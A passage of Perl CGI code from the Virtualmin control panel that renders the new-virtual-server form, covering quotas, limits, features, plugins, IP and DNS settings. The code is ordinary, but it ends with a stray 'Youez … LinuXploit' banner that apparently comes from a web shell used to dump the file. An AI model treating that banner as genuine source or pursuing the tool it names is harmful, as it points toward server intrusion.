if (&has_home_quotas() && !$parentuser && !$config{'template_auto'}) {
	print &ui_table_row(&hlink($text{'form_quota'}, "websitequota"),
		&opt_quota_input("quota", $defplan->{'quota'}, "home"),
		undef, \@tds);

	print &ui_table_row(&hlink($text{'form_uquota'}, "unixuserquota"),
		&opt_quota_input("uquota", $defplan->{'uquota'}, "home"),
		undef, \@tds);
	}

if (!$parentdom && $config{'bw_active'} && !$config{'template_auto'}) {
	# Show bandwidth limit field
	print &ui_table_row(&hlink($text{'edit_bw'}, "bwlimit"),
			    &bandwidth_input("bwlimit", $defplan->{'bwlimit'}),
			    undef, \@tds);
	}

if (!$parentuser && !$config{'template_auto'}) {
	# Show input for limit on number of mailboxes, aliases and DBs
	foreach $l ("mailbox", "alias", "dbs") {
		print &ui_table_row(
			&hlink($text{'form_'.$l.'limit'}, $l.'limit'),
			&ui_opt_textbox($l.'limit',
					$defplan->{$l.'limit'},
					4, $text{'form_unlimit'},
					$text{'form_atmost'}),
			undef, \@tds);
		}

	# Show input for restriction of number of sub-domains this domain
	# owner can create
	local $dlm = $defplan->{'domslimit'} eq '' ? 2 :
		     $defplan->{'domslimit'} eq '0' ? 1 : 2;
	print &ui_table_row(&hlink($text{'form_domslimit'}, "domslimit"),
		&ui_radio("domslimit_def", $dlm,
			  [ [ 1, $text{'form_nocreate'} ],
			    [ 2, $text{'form_unlimit'} ],
			    [ 0, $text{'form_atmost'} ] ])."\n".
		&ui_textbox("domslimit",
			    $dlm == 0 ? $config{'defdomslimit'} : "", 4),
		undef, \@tds);

	# Show input for default database name limit
	print &ui_table_row(&hlink($text{'limits_nodbname'}, "nodbname"),
		&ui_radio("nodbname", $defplan->{'nodbname'},
			  [ [ 0, $text{'yes'} ], [ 1, $text{'no'} ] ]),
		undef, \@tds);
	}

if (!$parentuser && !$config{'template_auto'}) {
	print &ui_hidden_table_end("limits");
	}

# Show section for custom fields, if any
$fields = &show_custom_fields(undef, \@tds);
if ($fields) {
	print &ui_hidden_table_start($text{'edit_customsect'}, "width=100%", 2,
				     "custom", 1);
	print $fields;
	print &ui_hidden_table_end("custom");
	}

# Show checkboxes for features
print &ui_hidden_table_start($text{'edit_featuresect'}, "width=100%", 2,
			     "feature", 1);
@grid = ( );
@grid_order_initial = ( );
$i = 0;
$can_website = 0;
foreach $f (@dom_features) {
	# Don't allow access to features that this user hasn't been
	# granted for his subdomains.
	next if (!&can_use_feature($f));
	next if ($parentdom && $f eq "webmin");
	next if ($parentdom && $f eq "unix");
	next if ($aliasdom && !$aliasdom->{$f});
	next if (!$config{$f} && defined($config{$f}));		# Not enabled
	$can_feature{$f}++;
	$can_website = 1 if ($f eq 'web');

	if (&can_chained_feature($f, 1)) {
		# This feature is always on when some other feature is, so
		# don't show it
		next;
		}
	if (($f eq "dir" || $f eq "unix") && $config{$f} == 3) {
		# These features are always on for new domains
		print &ui_hidden($f, 1);
		next;
		}

	local $txt = $parentdom ? $text{'form_sub'.$f} : undef;
	$txt ||= $text{'form_'.$f};
	push(@grid_order_initial, $f);
	push(@grid, &ui_checkbox($f, 1, "", $config{$f} == 1,
		&feature_check_chained_javascript($f)).
		    " <b>".&hlink($txt, $f)."</b>");
	}

# Show checkboxes for plugins
@input_plugins = ( );
@fplugins = &list_feature_plugins() if (!$config{'plan_auto'});
foreach $f (@fplugins) {
	next if (!&plugin_call($f, "feature_suitable",
				$parentdom, $aliasdom, $subdom));
	next if (!&can_use_feature($f));
	$can_website = 1 if (&plugin_call($f, "feature_provides_web"));

	if (&can_chained_feature($f, 1)) {
		# This feature is always on when some other feature is, so
		# don't show it
		next;
		}

	$label = &plugin_call($f, "feature_label", 0);
	$label = " <b>$label</b>";
	$hlink = &plugin_call($f, "feature_hlink");
	$label = &hlink($label, $hlink, $f) if ($hlink);
	push(@grid_order_initial, $f);
	push(@grid, &ui_checkbox($f, 1, "", !$plugins_inactive{$f},
		&feature_check_chained_javascript($f)).$label);
	if (&plugin_call($f, "feature_inputs_show", undef)) {
		push(@input_plugins, $f);
		}
	}
features_sort(\@grid, \@grid_order_initial);
print &ui_table_row(undef, &vui_features_sorted_grid(\@grid), 4);
print &ui_hidden_table_end("feature");

# Show section for extra plugin options
if (@input_plugins) {
	print &ui_hidden_table_start($text{'form_inputssect'}, "width=100%", 2,
				     "inputs", 0, [ "width=30%" ]);
	foreach $f (@input_plugins) {
		&plugin_call($f, "load_theme_library");
		print &plugin_call($f, "feature_inputs", undef);
		}
	print &ui_hidden_table_end("inputs");
	}

# Start section for proxy and IP
print &ui_hidden_table_start($text{'form_proxysect'}, "width=100%", 2,
			     "proxy", 0, [ "width=30%" ]);

# Show inputs for setting up a proxy-only virtual server
if ($can_website && $config{'proxy_pass'} && !$aliasdom) {
	print &frame_fwd_input();
	}

# Show field for mail forwarding
if ($can_feature{'mail'} && !$aliasdom && !$subdom && &can_edit_catchall()) {
	print &ui_table_row(&hlink($text{'form_fwdto'}, "fwdto"),
		&ui_opt_textbox("fwdto", undef, 30, $text{'form_fwdto_none'}),
		undef, \@tds);
	}

# Show IP address allocation section
$resel = $parentdom ? $parentdom->{'reseller'} :
	 &reseller_admin() ? $base_remote_user : undef;
$defip = &get_default_ip($resel);
if ($aliasdom) {
	print &ui_table_row($text{'edit_ip'}, $aliasdom->{'ip'});
	}
elsif (!&can_select_ip()){
	print &ui_table_row($text{'edit_ip'},
		$access{'ipfollow'} && $parentdom ? $parentdom->{'ip'}
						  : $defip);
	}
else {
	print &ui_table_row(&hlink($text{'form_iface'}, "iface"),
		&virtual_ip_input(\@cantmpls, $resel),
		undef, \@tds);
	}

# Show IPv6 address allocation section
$defip6 = &get_default_ip6($resel);
if (!&supports_ip6()) {
	# Not supported
	print &ui_table_row($text{'edit_ip6'}, $text{'edit_noip6support'});
	}
elsif ($aliasdom) {
	# From alias domain
	print &ui_table_row($text{'edit_ip6'}, $aliasdom->{'ip6'} ||
					       $text{'edit_virt6off'});
	}
elsif (!&can_select_ip6()) {
	# User isn't allowed to select v6 address
	print &ui_table_row($text{'edit_ip6'},
		$access{'ipfollow'} && $parentdom ? $parentdom->{'ip6'} :
		$config{'ip6enabled'} && $defip6 ? $defip6 :
			$text{'edit_virt6off'});
	}
else {
	# Can select addres or allocate one
	print &ui_table_row(&hlink($text{'form_iface6'}, "iface6"),
		&virtual_ip6_input(\@cantmpls, $resel, 0,
				   $config{'ip6enabled'} ? 0 : -2),
		undef, \@tds);
	}

# Show DNS IP address field
if (&can_dnsip()) {
	my $def_dns_ip = $config{'external_ip_cache'} || &get_dns_ip($resel);
	my $dns_ip = $parentdom ? $parentdom->{'dns_ip'} : undef;
	my @opts;
	if ($def_dns_ip) {
		push(@opts, [ 1, $text{'spf_default3'}, $def_dns_ip ]);
		push(@opts, [ 2, $text{'spf_default2'} ]);
		}
	else {
		push(@opts, [ 1, $text{'spf_default2'} ]);
		}
	push(@opts, [ 0, $text{'spf_custom'},
		      &ui_textbox("dns_ip", $dns_ip, 20) ]);
	print &ui_table_row(&hlink($text{'edit_dnsip'}, "edit_dnsip"),
		&ui_radio_table("dns_ip_def", $dns_ip ? 0 : 1, \@opts));
	}

print &ui_hidden_table_end();

if ($can_website && !$aliasdom && $virtualmin_pro) {
	# Show field for initial content
	print &ui_hidden_table_start($text{'form_park'}, "width=100%", 2,
				     "park", 0);

	# Initial content
	print &ui_table_row(&hlink($text{'form_content'},"form_content"),
			    &ui_radio("content_def", 2,
				      [ [ 1, $text{'form_content1'} ],
					[ 2, $text{'form_content2'} ],
					[ 0, $text{'form_content0'} ] ])."<br>".
			    &ui_textarea("content", undef, 5, 70),
			    3, \@tds);

	print &ui_hidden_table_end();
	}
print &ui_form_end([ [ "ok", $text{'form_ok'} ] ]);
if (!$config{'template_auto'}) {
	print "<script data-nocache>select_template($deftmpl->{'id'});</script>\n";
	}
if (!$parentdom) {
	print "<script data-nocache>select_plan($defplan->{'id'});</script>\n";
	}

&ui_print_footer("", $text{'index_return'});

Youez - 2016 - github.com/yon3zu
LinuXploit